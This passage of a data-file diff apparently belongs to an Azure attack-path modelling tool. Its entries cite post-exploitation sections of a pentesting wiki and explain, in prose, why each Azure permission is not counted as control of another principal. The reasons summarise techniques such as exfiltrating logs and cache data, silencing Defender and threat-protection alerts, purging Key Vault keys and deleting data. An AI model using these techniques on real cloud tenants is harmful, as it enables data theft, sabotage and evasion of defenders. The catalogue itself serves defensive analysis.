from + this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md#microsoftdocumentdbdatabaseaccountssqldatabasescontainersuserdefinedfunctionswrite--microsoftdocumentdbdatabaseaccountssqldatabasescontainersuserdefinedfunctionsread + technique: Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write && Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read + source_revision: a66f094ede + reason: The code runs inside the Cosmos data engine against documents, with no Azure managed-identity token or other principal inherited. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md#microsoftdocumentdbdatabaseaccountssqldatabasescontainersstoredprocedureswrite--microsoftdocumentdbdatabaseaccountssqldatabasescontainersstoredproceduresread + technique: Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write && Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read + source_revision: a66f094ede + reason: The code runs inside the Cosmos data engine against documents, with no Azure managed-identity token or other principal inherited. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md#microsoftdocumentdbdatabaseaccountssqldatabasescontainerstriggerswrite--microsoftdocumentdbdatabaseaccountssqldatabasescontainerstriggersread + technique: Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write && Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read + source_revision: a66f094ede + reason: The code runs inside the Cosmos data engine against documents, with no Azure managed-identity token or other principal inherited. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md#microsoftdocumentdbdatabaseaccountsmongodbdatabasescollectionsread--microsoftdocumentdbdatabaseaccountsmongodbdatabasescollectionswrite + technique: Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read && Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write + source_revision: a66f094ede + reason: Read and alter collection definitions (indexes, shard key, throughput) in Mongo-API databases; replacing/recreating a collection + drops its documents → destructive data loss. The section does not establish control of another Azure/Entra principal from this action + alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md#microsoftdocumentdbdatabaseaccountsmongodbdatabaseswrite--microsoftdocumentdbdatabaseaccountsmongodbdatabasesread + technique: Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write && Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read + source_revision: a66f094ede + reason: Create or delete Mongo-API databases; deleting a database is destructive (all child collections and documents lost). The section + does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md#microsoftdocumentdbdatabaseaccountsfailoverprioritychangeaction + technique: Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action + source_revision: a66f094ede + reason: 'Availability/DoS: reorder regional failover priority to force a different region to become primary, degrading or interrupting + availability of a multi-region account without touching any data permission. The section does not establish control of another Azure/Entra + principal from this action alone.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md#microsoftdocumentdbdatabaseaccountsregeneratekeyaction + technique: Microsoft.DocumentDB/databaseAccounts/regenerateKey/action + source_revision: a66f094ede + reason: 'Availability/DoS and lockout: rotating a master key invalidates every app/service using the current key. The section does + not establish control of another Azure/Entra principal from this action alone.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cost-management-post-exploitation.md#budgets--notifications-microsoftconsumptionbudgets + technique: Budgets + notifications (Microsoft.Consumption/budgets) + source_revision: a66f094ede + reason: Deleting the budget, disabling its notification, or raising the threshold above your expected burn removes the 'spend crossed + a threshold' email/Action-Group signal (Logic App/Function/webhook) that would. The section does not establish control of another + Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cost-management-post-exploitation.md#cost-anomaly-alerts-microsoftcostmanagementscheduledactions-kind-insightalert + technique: Cost anomaly alerts (Microsoft.CostManagement/scheduledActions, kind InsightAlert) + source_revision: a66f094ede + reason: Deleting/disabling the InsightAlert scheduled action stops Azure's daily unsupervised cost-anomaly email — the closest thing + Azure has to 'unusual billing behaviour' alerting; the anomaly is still computed. The section does not establish control of another + Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cost-management-post-exploitation.md#exports-microsoftcostmanagementexports + technique: Exports (Microsoft.CostManagement/exports) + source_revision: a66f094ede + reason: Deleting or narrowing a scheduled cost/usage export cuts the downstream feed that frequently powers a FinOps pipeline or a + SIEM, removing that off-platform visibility into your resource abuse. The section does not establish control of another Azure/Entra + principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-data-explorer-post-exploitation.md#microsoftkustoclustersaddcalloutpoliciesaction--callout-policy--ssrf--exfil-egress + technique: Microsoft.Kusto/Clusters/AddCalloutPolicies/action — callout policy → SSRF / exfil egress + source_revision: a66f094ede + reason: whitelist an attacker-controlled destination for cluster callouts, then run queries that reach it — externaldata/httprequest-style + operators and external-table/export writes can be pointed at attacker hosts. The section does not establish control of another Azure/Entra + principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-data-factory-post-exploitation.md#blind-sink-replacement-with-microsoftdatafactoryfactoriesdatasetswrite + technique: Blind sink replacement with Microsoft.DataFactory/factories/datasets/write + source_revision: a66f094ede + reason: Replacing a dataset or linked-service sink redirects future pipeline output to an attacker destination; the documented result + is data exfiltration, not the factory managed identity. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-data-factory-post-exploitation.md#blind-sink-replacement-with-microsoftdatafactoryfactorieslinkedserviceswrite + technique: Blind sink replacement with Microsoft.DataFactory/factories/linkedservices/write + source_revision: a66f094ede + reason: Replacing a dataset or linked-service sink redirects future pipeline output to an attacker destination; the documented result + is data exfiltration, not the factory managed identity. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-for-cloud-post-exploitation.md#microsoftsecuritypricingswrite--downgrade-a-plan-to-free + technique: Microsoft.Security/pricings/write — downgrade a plan to Free + source_revision: a66f094ede + reason: This section describes how Defender detects or misses activity for this service and how to suppress alerts; it changes monitoring, + not the permissions of another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-for-cloud-post-exploitation.md#microsoftsecurityalertssuppressionruleswrite--pre-dismiss-alerts + technique: Microsoft.Security/alertsSuppressionRules/write — pre-dismiss alerts + source_revision: a66f094ede + reason: This section describes how Defender detects or misses activity for this service and how to suppress alerts; it changes monitoring, + not the permissions of another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-for-cloud-post-exploitation.md#microsoftsecuritysecuritycontactswrite--silence-notifications + technique: Microsoft.Security/securityContacts/write — silence notifications + source_revision: a66f094ede + reason: This section describes how Defender detects or misses activity for this service and how to suppress alerts; it changes monitoring, + not the permissions of another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-for-cloud-post-exploitation.md#microsoftsecurityalerts--dismissresolve-already-fired-alerts + technique: Microsoft.Security/alerts — dismiss/resolve already-fired alerts + source_revision: a66f094ede + reason: This section describes how Defender detects or misses activity for this service and how to suppress alerts; it changes monitoring, + not the permissions of another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-for-cloud-post-exploitation.md#microsoftsecurityautomationswritedelete--break-continuous-export + technique: Microsoft.Security/automations/write|delete — break continuous export + source_revision: a66f094ede + reason: This section describes how Defender detects or misses activity for this service and how to suppress alerts; it changes monitoring, + not the permissions of another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md#microsoftstoragestorageaccountsfileservicesfilesharesfilesread-microsoftstoragestorageaccountsfileservicesreadfilebackupsemanticsaction + technique: Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read, Microsoft.Storage/storageAccounts/fileServices/readFileBackupSemantics/action + source_revision: a66f094ede + reason: File-share read discloses stored file contents; any credentials inside are content-dependent and no specific Azure/Entra principal + is established. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md#microsoftstoragestorageaccountsfileservicesfilesharesfilesdelete-microsoftstoragestorageaccountsfileserviceswritefilebackupsemanticsaction + technique: Microsoft.Storage/storageAccounts/fileServices/fileshares/files/delete, Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action + source_revision: a66f094ede + reason: Delete a file or folder in a share -> service interruption or loss of valuable data for clients relying on the share. The + section does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md#microsoftkeyvaultvaultssecretsgetsecretaction + technique: Microsoft.KeyVault/vaults/secrets/getSecret/action + source_revision: a66f094ede + reason: Reading a service-principal secret is modelled by azure-keyvault-secret-read-sp-credentials; other secret contents are data + exposure with no identified principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md#microsoftkeyvaultvaultssecretsrestoreaction + technique: Microsoft.KeyVault/vaults/secrets/restore/action + source_revision: a66f094ede + reason: Materialises a point-in-time copy of a secret — including versions that were deleted or rotated away — into a vault the attacker + can read. The section does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md#microsoftkeyvaultvaultskeysunwrapkeyaction--recover-cmk-wrapped-data-encryption-keys + technique: Microsoft.KeyVault/vaults/keys/unwrapKey/action — recover CMK-wrapped data-encryption keys + source_revision: a66f094ede + reason: Key use decrypts captured ciphertext or wrapped data keys; it does not export the vault key or identify another Azure/Entra + principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md#microsoftkeyvaultvaultskeysdecryptaction + technique: Microsoft.KeyVault/vaults/keys/decrypt/action + source_revision: a66f094ede + reason: Key use decrypts captured ciphertext or wrapped data keys; it does not export the vault key or identify another Azure/Entra + principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md#microsoftkeyvaultvaultskeysrecoveraction + technique: Microsoft.KeyVault/vaults/keys/recover/action + source_revision: a66f094ede + reason: Brings a soft-deleted key back into service. The section does not establish control of another Azure/Entra principal from + this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md#microsoftkeyvaultvaultskeysencryptaction + technique: Microsoft.KeyVault/vaults/keys/encrypt/action + source_revision: a66f094ede + reason: Limited on its own — it lets you produce ciphertext under a key you cannot export. The section does not establish control + of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md#microsoftkeyvaultvaultssecretssetsecretaction + technique: Microsoft.KeyVault/vaults/secrets/setSecret/action + source_revision: a66f094ede + reason: Poisoning a secret used by a privileged workload is modelled by azure-keyvault-secret-poisoning-consumer; creating an unused + secret only stores attacker data. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md#microsoftkeyvaultvaultscertificatespurgeaction + technique: Microsoft.KeyVault/vaults/certificates/purge/action + source_revision: a66f094ede + reason: Permanent, irreversible destruction of a certificate and its private key. The section does not establish control of another + Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md#microsoftkeyvaultvaultskeyspurgeaction + technique: Microsoft.KeyVault/vaults/keys/purge/action + source_revision: a66f094ede + reason: Irreversible destruction of a key. The section does not establish control of another Azure/Entra principal from this action + alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md#microsoftkeyvaultvaultssecretspurgeaction + technique: Microsoft.KeyVault/vaults/secrets/purge/action + source_revision: a66f094ede + reason: Irreversible destruction of a secret and all its versions — outage for whatever consumes it, and destruction of evidence about + what the credential was. The section does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md#microsoftkeyvaultvaultscertificatesdelete + technique: Microsoft.KeyVault/vaults/certificates/delete + source_revision: a66f094ede + reason: Removes a certificate from active use, breaking TLS termination or service-principal certificate auth. The section does not + establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md#microsoftkeyvaultvaultskeysdelete + technique: Microsoft.KeyVault/vaults/keys/delete + source_revision: a66f094ede + reason: Immediately breaks everything that uses the key — including CMK-encrypted Storage/Disks/SQL, which go inaccessible the moment + the key is soft-deleted, before any purge. The section does not establish control of another Azure/Entra principal from this action + alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md#microsoftkeyvaultvaultssecretsdelete + technique: Microsoft.KeyVault/vaults/secrets/delete + source_revision: a66f094ede + reason: Denial of service for the consuming application. The section does not establish control of another Azure/Entra principal from + this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-log-analytics-post-exploitation.md#microsoftoperationalinsightsworkspacesdataexportswrite--continuous-log-exfiltration + technique: Microsoft.OperationalInsights/workspaces/dataExports/write — continuous log exfiltration + source_revision: a66f094ede + reason: a Data Export rule continuously streams selected tables (SigninLogs, SecurityEvent, AuditLogs, custom security tables) to + attacker-controlled Storage / Event Hub as new rows arrive — a standing, hands-off. The section does not establish control of another + Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-log-analytics-post-exploitation.md#microsoftoperationalinsightsworkspacessavedsearcheswrite--poison-the-kql-functions--computer-groups-behind-detections + technique: Microsoft.OperationalInsights/workspaces/savedSearches/write — poison the KQL functions / computer groups behind detections + source_revision: a66f094ede + reason: saved searches include saved KQL functions and computer groups that analytics rules, workbooks and Sentinel content reference + by name. The section does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md#microsoftlogicworkflowsread-microsoftlogicworkflowswrite--microsoftmanagedidentityuserassignedidentitiesassignaction + technique: Microsoft.Logic/workflows/read, Microsoft.Logic/workflows/write && Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + source_revision: a66f094ede + reason: The workflow-write plus userAssignedIdentities/assign/action path is already modelled by the Logic Apps managed-identity assignment + entry in logic_apps.yaml. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md#microsoftwebsitesconfiglistaction-microsoftwebsitesread--microsoftwebsitesconfigwrite + technique: Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/read && Microsoft.Web/sites/config/write + source_revision: a66f094ede + reason: The config/write code execution path is modelled by azure-appservice-config-write-code-execution; config/list and sites/read + only reveal configuration. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-monitor-post-exploitation.md#microsoftinsightsdatacollectionruleswrite--associations--turn-azure-monitor-agent-into-a-file-exfiltrator + technique: Microsoft.Insights/dataCollectionRules/write (+ associations) — turn Azure Monitor Agent into a file exfiltrator + source_revision: a66f094ede + reason: a DCR defines what Azure Monitor Agent (AMA) collects. The section does not establish control of another Azure/Entra principal + from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-monitor-post-exploitation.md#microsoftinsightsactiongroupswrite--plant-attacker-receivers-alert-data-exfil--execution-wiring + technique: Microsoft.Insights/actionGroups/write — plant attacker receivers (alert-data exfil + execution wiring) + source_revision: a66f094ede + reason: 'distinct from reading/reusing an existing action group — creating/modifying one lets the attacker add their own receivers: + an eventHubReceiver/webhookReceiver at attacker infra exfiltrates every alert. The section does not establish control of another + Azure/Entra principal from this action alone.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-monitor-post-exploitation.md#microsoftinsightsdatacollectionrulesdatawrite--forge-logs-via-the-modern-logs-ingestion-api + technique: Microsoft.Insights/dataCollectionRules/data/write — forge logs via the modern Logs Ingestion API + source_revision: a66f094ede + reason: inject arbitrary records into the DCR's target streams / custom tables (and, via DCR transformations, potentially standard + tables) — forging or flooding logs to poison detections, fabricate benign-looking. The section does not establish control of another + Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md#microsoftdbformysqlflexibleserversdatabaseswrite--microsoftdbformysqlflexibleserversdatabasesread + technique: Microsoft.DBforMySQL/flexibleServers/databases/write && Microsoft.DBforMySQL/flexibleServers/databases/read + source_revision: a66f094ede + reason: Enumerate databases and create new ones; unauthorized DB creation consumes resources and can interfere with apps that key + off database names. The section does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md#microsoftdbformysqlflexibleserversstartaction + technique: Microsoft.DBforMySQL/flexibleServers/start/action + source_revision: a66f094ede + reason: Start a stopped server, restoring availability (used to bring a server back after a stop, or to re-enable management operations). + The section does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md#microsoftdbformysqlflexibleserversresetgtidaction + technique: Microsoft.DBforMySQL/flexibleServers/resetGtid/action + source_revision: a66f094ede + reason: Reset the GTID set → invalidates all available backups of the server (destructive / anti-recovery, hampers restore-based remediation). + The section does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md#microsoftdbformysqlflexibleserversfirewallruleswrite + technique: Microsoft.DBforMySQL/flexibleServers/firewallRules/write + source_revision: a66f094ede + reason: The change opens network access or changes database parameters, but still needs an independent database login before another + identity can be used. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md#microsoftdbformysqlflexibleserversadvancedthreatprotectionsettingswrite + technique: Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write + source_revision: a66f094ede + reason: Disable Advanced Threat Protection → suppress the anomalous-activity alerts that would otherwise flag the attacker's database + access (defense evasion). The section does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md#microsoftdbformysqlflexibleserversupdateconfigurationsaction + technique: Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action + source_revision: a66f094ede + reason: The change opens network access or changes database parameters, but still needs an independent database login before another + identity can be used. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md#microsoftdbformysqlflexibleserversstopaction + technique: Microsoft.DBforMySQL/flexibleServers/stop/action + source_revision: a66f094ede + reason: Stop the server → database unavailable and management operations blocked while stopped (availability impact / DoS). The section + does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md#microsoftdbforpostgresqlflexibleserversdatabaseswrite--microsoftdbforpostgresqlflexibleserversdatabasesread + technique: Microsoft.DBforPostgreSQL/flexibleServers/databases/write && Microsoft.DBforPostgreSQL/flexibleServers/databases/read + source_revision: a66f094ede + reason: List and create databases on the server; unauthorized creation consumes resources and can disrupt apps keyed off database + names. The section does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md#microsoftdbforpostgresqlflexibleserversstartaction + technique: Microsoft.DBforPostgreSQL/flexibleServers/start/action + source_revision: a66f094ede + reason: Start a stopped server, restoring availability and management operations. The section does not establish control of another + Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md#microsoftdbforpostgresqlflexibleserversfirewallruleswrite-microsoftdbforpostgresqlflexibleserversread--microsoftdbforpostgresqlflexibleserversfirewallrulesread + technique: Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write, Microsoft.DBforPostgreSQL/flexibleServers/read && Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read + source_revision: a66f094ede + reason: The change opens network access or changes database parameters, but still needs an independent database login before another + identity can be used. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md#microsoftdbforpostgresqlflexibleserversconfigurationswrite--microsoftdbforpostgresqlflexibleserversconfigurationsread + technique: Microsoft.DBforPostgreSQL/flexibleServers/configurations/write && Microsoft.DBforPostgreSQL/flexibleServers/configurations/read + source_revision: a66f094ede + reason: The change opens network access or changes database parameters, but still needs an independent database login before another + identity can be used. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md#microsoftdbforpostgresqlflexibleserversadvancedthreatprotectionsettingswrite--microsoftdbforpostgresqlflexibleserversadvancedthreatprotectionsettingsread + technique: Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write && Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read + source_revision: a66f094ede + reason: Disable Advanced Threat Protection → suppress anomalous-activity alerts before accessing the database (defense evasion). The + section does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md#microsoftdbforpostgresqlflexibleserversstopaction + technique: Microsoft.DBforPostgreSQL/flexibleServers/stop/action + source_revision: a66f094ede + reason: Stop the server compute → database unavailable (availability impact / DoS). The section does not establish control of another + Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md#dataactions-microsoftstoragestorageaccountsqueueservicesqueuesmessagesread + technique: 'DataActions: Microsoft.Storage/storageAccounts/queueServices/queues/messages/read' + source_revision: a66f094ede + reason: Read queue message contents without dequeuing → exfiltrate whatever the queue carries. The section does not establish control + of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md#dataactions-microsoftstoragestorageaccountsqueueservicesqueuesmessagesaddaction + technique: 'DataActions: Microsoft.Storage/storageAccounts/queueServices/queues/messages/add/action' + source_revision: a66f094ede + reason: Forged or changed messages can steer a privileged queue-triggered workload; azure-queue-message-injection-consumer models + this permission and requires a trusting consumer. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md#actions-microsoftstoragestorageaccountsqueueservicesqueueswrite + technique: 'Actions: Microsoft.Storage/storageAccounts/queueServices/queues/write' + source_revision: a66f094ede + reason: Create attacker queues or rewrite metadata → disrupt or mislead applications that trust queue names/metadata. The section + does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md#dataactions-microsoftstoragestorageaccountsqueueservicesqueuesmessageswrite + technique: 'DataActions: Microsoft.Storage/storageAccounts/queueServices/queues/messages/write' + source_revision: a66f094ede + reason: Forged or changed messages can steer a privileged queue-triggered workload; azure-queue-message-injection-consumer models + this permission and requires a trusting consumer. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md#actions-microsoftstoragestorageaccountsqueueservicesqueuessetaclaction + technique: 'Actions: Microsoft.Storage/storageAccounts/queueServices/queues/setAcl/action' + source_revision: a66f094ede + reason: Replace a queue's stored access policies, changing the permissions or expiry of service SAS tokens already tied to those policy + identifiers. The section does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md#actions-microsoftstoragestorageaccountsqueueservicesqueuesdelete + technique: 'Actions: Microsoft.Storage/storageAccounts/queueServices/queues/delete' + source_revision: a66f094ede + reason: 'Destructive: delete a queue and every message in it → data loss and denial of service for producers/consumers. The section + does not establish control of another Azure/Entra principal from this action alone.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md#dataactions-microsoftstoragestorageaccountsqueueservicesqueuesmessagesdelete + technique: 'DataActions: Microsoft.Storage/storageAccounts/queueServices/queues/messages/delete' + source_revision: a66f094ede + reason: 'Destructive: clear/delete messages → wipe queued work without deleting the queue itself (silent data loss). The section does + not establish control of another Azure/Entra principal from this action alone.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md#dataactions-microsoftstoragestorageaccountsqueueservicesqueuesmessagesprocessaction + technique: 'DataActions: Microsoft.Storage/storageAccounts/queueServices/queues/messages/process/action' + source_revision: a66f094ede + reason: Dequeue and delete messages → steal payloads and remove work from consumers (data theft + disruption). The section does not + establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-redis-post-exploitation.md#full-cache-exfiltration-with-microsoftcacheredisexportaction + technique: Full-cache exfiltration with Microsoft.Cache/redis/export/action + source_revision: a66f094ede + reason: Redis export copies cache data, potentially including session tokens or secrets; the contents and resulting principal are + unknown from the permission grant. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-redis-post-exploitation.md#cache-poisoning-with-microsoftcacheredisimportaction + technique: Cache poisoning with Microsoft.Cache/redis/import/action + source_revision: a66f094ede + reason: Importing a crafted Redis RDB may forge application session state, but the affected application user and cache schema are + unknown; no Azure/Entra principal edge can be identified. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-redis-post-exploitation.md#exposure-flips-with-microsoftcacherediswrite + technique: Exposure flips with Microsoft.Cache/redis/write + source_revision: a66f094ede + reason: 'privesc-enabler: property flips that widen reachability so a held/leaked key becomes usable — enableNonSslPort=true (opens + plaintext 6379 → sniffable credentials/data), publicNetworkAccess=Enabled, lowering. The section does not establish control of another + Azure/Entra principal from this action alone.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-redis-post-exploitation.md#open-the-data-plane-firewall-with-microsoftcacheredisfirewallruleswrite + technique: Open the data-plane firewall with Microsoft.Cache/redis/firewallRules/write + source_revision: a66f094ede + reason: 'privesc-enabler: adds a firewall rule (e.g. The section does not establish control of another Azure/Entra principal from + this action alone.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-redis-post-exploitation.md#control-plane-cache-wipe-with-microsoftcacheredisflushaction + technique: Control-plane cache wipe with Microsoft.Cache/redis/flush/action + source_revision: a66f094ede + reason: 'availability/integrity: wipes ALL cached data via ARM — no Redis key or data-port reachability required. The section does + not establish control of another Azure/Entra principal from this action alone.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md#actions-microsoftservicebusnamespacesqueueswrite-microsoftservicebusnamespacesqueuesread + technique: 'Actions: Microsoft.ServiceBus/namespaces/queues/write (Microsoft.ServiceBus/namespaces/queues/read)' + source_revision: a66f094ede + reason: Forwarding or disabling message entities intercepts or drops messages. Message injection into a privileged consumer is separately + modelled by azure-servicebus-message-injection-consumer. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md#actions-microsoftservicebusnamespacestopicssubscriptionswrite-microsoftservicebusnamespacestopicssubscriptionsread + technique: 'Actions: Microsoft.ServiceBus/namespaces/topics/subscriptions/write (Microsoft.ServiceBus/namespaces/topics/subscriptions/read)' + source_revision: a66f094ede + reason: Forwarding or disabling message entities intercepts or drops messages. Message injection into a privileged consumer is separately + modelled by azure-servicebus-message-injection-consumer. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md#microsoftservicebusnamespacesnetworkrulesetswrite---network-lock-out--exposure + technique: Microsoft.ServiceBus/namespaces/networkRuleSets/write - Network lock-out / exposure + source_revision: a66f094ede + reason: Two abuses. The section does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md#actions-microsoftservicebusnamespacesdelete + technique: 'Actions: Microsoft.ServiceBus/namespaces/Delete' + source_revision: a66f094ede + reason: 'Destructive: deletes the entire namespace and every queue/topic/subscription and their messages → permanent data loss and + denial of service across all dependent workflows. The section does not establish control of another Azure/Entra principal from this + action alone.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md#actions-microsoftservicebusnamespacestopicsdelete + technique: 'Actions: Microsoft.ServiceBus/namespaces/topics/Delete' + source_revision: a66f094ede + reason: 'Destructive: deletes a topic with all its subscriptions and messages → data loss and disruption of every consumer of that + topic. The section does not establish control of another Azure/Entra principal from this action alone.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md#actions-microsoftservicebusnamespacesqueuesdelete + technique: 'Actions: Microsoft.ServiceBus/namespaces/queues/Delete' + source_revision: a66f094ede + reason: 'Destructive: deletes a queue and all messages in it → data loss and disruption of producers/consumers of that queue. The + section does not establish control of another Azure/Entra principal from this action alone.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md#actions-microsoftservicebusnamespacestopicssubscriptionsdelete + technique: 'Actions: Microsoft.ServiceBus/namespaces/topics/subscriptions/Delete' + source_revision: a66f094ede + reason: 'Destructive: deletes a subscription and its buffered messages → breaks the consumer bound to it and drops undelivered messages. + The section does not establish control of another Azure/Entra principal from this action alone.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md#actions-microsoftservicebusnamespacestopicswrite-microsoftservicebusnamespacestopicsread + technique: 'Actions: Microsoft.ServiceBus/namespaces/topics/write (Microsoft.ServiceBus/namespaces/topics/read)' + source_revision: a66f094ede + reason: 'Reconfigure a topic: lower default TTL to expire messages early or set status Disabled to interrupt message processing (DoS + / data loss). The section does not establish control of another Azure/Entra principal from this action alone.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md#microsoftservicebusnamespacesdisasterrecoveryconfigswrite-failoveraction-breakpairingaction---geo-dr-failover--break-pairing-hijack + technique: Microsoft.ServiceBus/namespaces/disasterRecoveryConfigs/write, .../failover/action, .../breakPairing/action - Geo-DR failover + / break-pairing hijack + source_revision: a66f094ede + reason: fail-over repoints the Geo-DR alias to the secondary and permanently breaks the pairing (once-only, near-instant); break-pair + tears down replication. The section does not establish control of 